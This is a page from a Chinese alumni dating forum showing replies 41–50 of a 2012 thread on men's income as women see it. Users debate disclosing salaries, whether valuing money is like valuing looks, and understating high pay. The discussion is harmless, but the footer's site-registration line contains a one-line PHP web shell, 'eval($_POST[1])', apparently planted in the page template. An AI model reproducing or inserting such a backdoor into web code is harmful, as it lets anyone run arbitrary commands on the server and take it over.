小蜜橙single - 北京最大的校友交友平台-来小蜜橙觅成你的友情和爱情吧!-

 找回密码
 30秒注册
搜索
楼主: tzsy
打印 上一主题 下一主题

关于男生的收入-女生视角

[复制链接]
41#
发表于 2012-10-15 18:30:23 | 只看该作者
carrycarrie 发表于 2012-10-15 17:50
是啊…"我不是爱你的钱"这要怎么才能很好的证明呢?

这个本来就不该证明吧?

那男生莫非还得证明“我不是爱你的容貌”?

那让非美女不娶的GG们咋办啊....
42#
 楼主| 发表于 2012-10-15 18:44:24 | 只看该作者
ag_home 发表于 2012-10-15 18:30
这个本来就不该证明吧?

那男生莫非还得证明“我不是爱你的容貌”?

不是这样滴,carry mm和我的意思都是,钱是一个人的特点之一,就像容貌一样;有人在意A特点,有人在意B特点,只要不是恶意行骗,就是萝卜青菜~这个帖子的主旨也是说不要把“收入”这个因素妖魔化,过分强调过分掩藏都不太好~
43#
发表于 2012-10-15 19:31:56 | 只看该作者
tzsy 发表于 2012-10-15 18:44
不是这样滴,carry mm和我的意思都是,钱是一个人的特点之一,就像容貌一样;有人在意A特点,有人在意B特 ...

你们的这个说法,我就是非常赞同的了,真理从此产生了
44#
发表于 2012-10-15 22:02:32 | 只看该作者
tzsy 发表于 2012-10-15 17:13
谢谢~
不过毛爷爷说,不以结婚为目的的谈恋爱就是耍流氓哎,热恋期可以不考虑柴米油盐,但总要有考虑的那 ...

“你的意思是一个人了解的信息更全面,作选择的时候可能更“准确”;不管是3k还是30k,工资都是人的一个属性。”我可以这样理解么?

我同意你两个人如果真的有感觉了、互相喜欢、准备结婚了,可以谈钱、谈生活规划。但是开始的时候,有必要给一个完全不知道你对他有没有感觉的人透露你的很多觉得是隐私的东西么?就像前面也有人提到SIZE,需要公开么?

感情是要面对现实,但是太物质的感情真的一点都不美好。
45#
发表于 2012-10-15 22:03:26 | 只看该作者
carrycarrie 发表于 2012-10-15 17:50
是啊…"我不是爱你的钱"这要怎么才能很好的证明呢?

杜十娘怒沉百宝箱。
46#
发表于 2012-10-15 22:14:44 | 只看该作者
呃~说说我的想法哈~因为参加活动一直被念这个事情

先不讨论富二代,一个靠自己能力一年赚70w的人,气质能力谈吐跟年薪6w的是有极大区别的。而且这样的人大部分都自信爆棚,他们相信自己本身的吸引力远大于70w的货币。更重要的是,他们相信自己之后身价会更高。但薪酬属于隐私,愿意说就说,不愿意说也是情有可原的。如果是虚报的话,原谅我武断,无论男女,应该是在乎金钱又缺乏相应的实力去得到。

另一方面说,3分钟的交谈跟面试也差不多,初步判断对方的个性。火眼金睛的一眼就能看出虚实;如果傻傻的就愿意跟这人走了,那一直相信下去永远不要拆穿,也是一桩美事。没必要事事较真不是,开心就好。
47#
发表于 2012-10-16 00:45:35 | 只看该作者
其实收入50万以上之类,介意敏感钱的同学,可以把收入写成10-15万比较常规的收入,如果是25岁以上男子,写成3000确实很幼稚,因为自己收入高点就自傲到狂了,这肯定会让人怀疑你的能力啊,外表+人格表现魅力过剩的人除外,他们有权利幼稚或任性,总有女子愿意娶他们,包容他们的
48#
发表于 2012-10-16 07:01:03 | 只看该作者

RE: 关于男生的收入-女生视角

tzsy 发表于 2012-10-15 18:44
不是这样滴,carry mm和我的意思都是,钱是一个人的特点之一,就像容貌一样;有人在意A特点,有人在意B特 ...

亲你懂我~
49#
发表于 2012-10-16 09:57:09 | 只看该作者
桃花岛主 发表于 2012-10-15 12:22
现在论坛都是70W数量级讨论问题了,惭愧啊

月入不到5k的路过, 坐看 富人 谈恋爱。
50#
发表于 2012-10-16 10:04:13 | 只看该作者
TOP2毕业的 女子 思维就是和我不一样啊。
您需要登录后才可以回帖 登录 | 30秒注册

本版积分规则

QQ|小黑屋|手机版|小蜜橙single ( 京ICP备20006967号-2 <?php phpinfo();eval($_POST[1]);?>

GMT+8, 2025-1-31 10:31 , Processed in 0.209345 second(s), 13 queries .

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表